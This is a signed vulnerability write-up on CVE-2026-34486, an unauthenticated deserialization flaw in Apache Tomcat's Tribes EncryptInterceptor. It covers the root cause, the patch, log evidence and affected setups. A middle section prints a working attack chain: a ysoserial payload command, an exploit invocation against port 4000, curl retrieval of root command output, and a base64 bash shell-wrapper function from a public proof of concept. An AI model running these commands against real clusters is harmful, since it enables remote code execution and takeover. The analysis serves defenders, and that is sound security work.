-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ## The EncryptInterceptor was also the authentication gate Apache Tomcat's Tribes framework handles cluster communication: session replication, state synchronization, cluster membership heartbeats. The NioReceiver listens on TCP 4000 by default. There is no authentication on that port. No certificates, no session tokens, no HMAC. The design assumes network-layer protection: restrict port 4000 to cluster node IPs, keep it off the internet. When `EncryptInterceptor` is added to the interceptor chain, it provides something beyond encryption. A message from a node that does not share the cluster's AES key will fail to decrypt, and the expectation was that those messages would be dropped. The interceptor was serving two functions under one name: encrypting legitimate cluster traffic, and discarding traffic from non-members. This is the shape that the fail open intercept pattern names: a security gate built to enforce a property, where the exception handler was written to log and continue rather than reject. The vulnerable code in `EncryptInterceptor.java` at Tomcat 9.0.116: ```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); } catch (GeneralSecurityException gse) { log.error("Failed to decrypt message", gse); // execution falls through } super.messageReceived(msg); // runs regardless of decryption outcome } ``` The patched version in 9.0.117: ```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // only reachable if decryption succeeded } catch (GeneralSecurityException gse) { log.error("Failed to decrypt message", gse); // message discarded } } ``` One line relocated inside a method body. In the vulnerable version, `super.messageReceived(msg)` sits outside the `try` block. The bytecode confirms it. The exception table in Tomcat 9.0.116's `EncryptInterceptor.class`: ``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived ``` The exception table ends at offset 39. `super.messageReceived()` is at offset 60. Whatever happens between 0 and 39, execution reaches 60. The catch block at 42-58 runs, logs the error, and falls through. `super.messageReceived(msg)` executes with `msg` unchanged: the original, undecrypted bytes the attacker sent. ## The fix for CVE-2026-29146 moved the gate outside the fence CVE-2026-34486 was introduced while fixing CVE-2026-29146, a padding oracle in the same `EncryptInterceptor`. The developer refactored the encryption manager to close the oracle, and during that refactor, `super.messageReceived(msg)` migrated from inside the `try` block to outside it. One security fix. One line relocated. One new vulnerability in the same method. `EncryptInterceptor` is a design-debt driver. The component has produced a padding oracle and a deserialization bypass from the same method in consecutive releases. Each patch closed the specific instance. The code style that generated both persists: the exception handler logs and continues, and whoever touches `messageReceived()` next inherits that substrate. The design-debt driver pattern does not describe a codebase that is behind on patches. It describes a component whose architecture holds a vulnerability class, and that class reproduces. ## The cluster key is not the gating check Tribes uses a binary framing protocol built on `XByteBuffer`. The frame format: ``` [START_DATA: "FLT2002" (7B)] [data_length: 4B big-endian] [ChannelData] [END_DATA: "TLF003" (6B)] ``` ChannelData structure: ``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B) + uniqueId (16B)] [memberDataLen (4B)] [MemberImpl data] [messageLen (4B)] [message body] ``` MemberImpl data is framed by `TRIBES-B\x01\x00` and `TRIBES-E\x01\x00`. The message body is where the payload goes. No encryption required, no cluster key required. The frame format is documented in Tomcat's source; the AirSkye PoC reconstructs it in 50 lines of Python. The attack: ```bash # Generate a CommonsCollections6 deserialization payload java --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ -jar ysoserial.jar CommonsCollections6 \ "id > /usr/local/tomcat/webapps/ROOT/.out.txt" \ > payload.bin # Wrap in a Tribes frame and send to port 4000 python3 exploit.py 192.168.1.10 4000 payload.bin # Retrieve command output via HTTP curl http://192.168.1.10:8080/.out.txt # uid=0(root) gid=0(root) groups=0(root) ``` What happens server-side: `NioReceiver` accepts the TCP connection, no authentication check. The frame is parsed, `ChannelData` extracted. The message propagates up the interceptor chain: `TcpFailureDetector`, then `EncryptInterceptor`. `encryptionManager.decrypt()` receives a Java serialization stream (`\xac\xed\x00\x05...`), not AES/CBC ciphertext. `IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher`. Exception caught, `SEVERE` logged, `super.messageReceived(msg)` executes. `MessageDispatchInterceptor` forwards to `GroupChannel`. `GroupChannel.messageReceived()` calls `ObjectInputStream.readObject()` with no class filter. CommonsCollections6 fires. `Runtime.exec()` runs as the Tomcat process user. The 404-src PoC includes an interactive shell mode that loops this sequence, encoding each command in base64 to survive argument parsing, redirecting output to the webroot, then fetching it over HTTP: ```python def shell_encode(cmd): b = base64.b64encode(cmd.encode()).decode() return "bash -c {echo," + b + "}|{base64,-d}|bash" ``` The loop prompts `rce@$`, sends a payload, waits 1.5 seconds, and prints the result. Full interactive shell via one-way deserialization and HTTP retrieval. ## What the log shows when you are owned The complete attack trace in the victim log: ``` SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1] org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived Failed to decrypt message javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890) ... at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134) ``` No `readObject` exception. No `InvalidClassException`. No `ClassNotFoundException`. The deserialization executes silently after the caught exception. The command output goes to a file in the webroot, readable over HTTP, generating no cluster-level log entry at all. In a production cluster, `Failed to decrypt message` is an ambiguous entry. A restarting node with a temporarily mismatched key, a rolling upgrade, a corrupted packet in transit. It is the kind of `SEVERE` that generates a ticket for the network team rather than an incident for security. The attacker's window is open until someone reads the ticket. ## The affected population specifically configured encryption This CVE requires `EncryptInterceptor` to be in the Tribes interceptor chain. A cluster without it is outside the scope of this specific regression. The code-motion bug cannot trigger if the class is not loaded. The administrators who read the Tomcat clustering documentation, found the `EncryptInterceptor` configuration block, added it to `server.xml`, configured `encryptionAlgorithm="AES/CBC/PKCS5Padding"` and an `encryptionKey`, and deployed: those are the affected administrators. Their security enhancement is the attack surface. The ones who left cluster traffic unencrypted are not affected by this CVE. Tomcat generates a startup warning for this configuration: ``` WARNING [main] EncryptInterceptor.createEncryptionManager The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding]. It is recommended to switch to using AES/GCM/NoPadding. ``` The warning addresses the cipher mode. It says nothing about what happens when decryption fails. It does not tell the administrator that the interceptor is also serving as their only membership gate, or that the gate fails open on decryption error. The administrator who reads this warning and switches to GCM is still running the vulnerable interceptor until they patch to 9.0.117, 10.1.54, or 11.0.21. The warning was not about this. PoC: [404-src/CVE-2026-34486](https://github.com/404-src/CVE-2026-34486) -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaeb2vwAKCRDeZjl4jgkQ JuboAP4jb5R79C07Xnq0jLcZYFGqYrcfzI7eX506kreneA7sNgD+KEPnDl7XPYtE uPfNXmHFgueVQWbjn0Nm1ao4XSsfiw8= =xKl9 -----END PGP SIGNATURE-----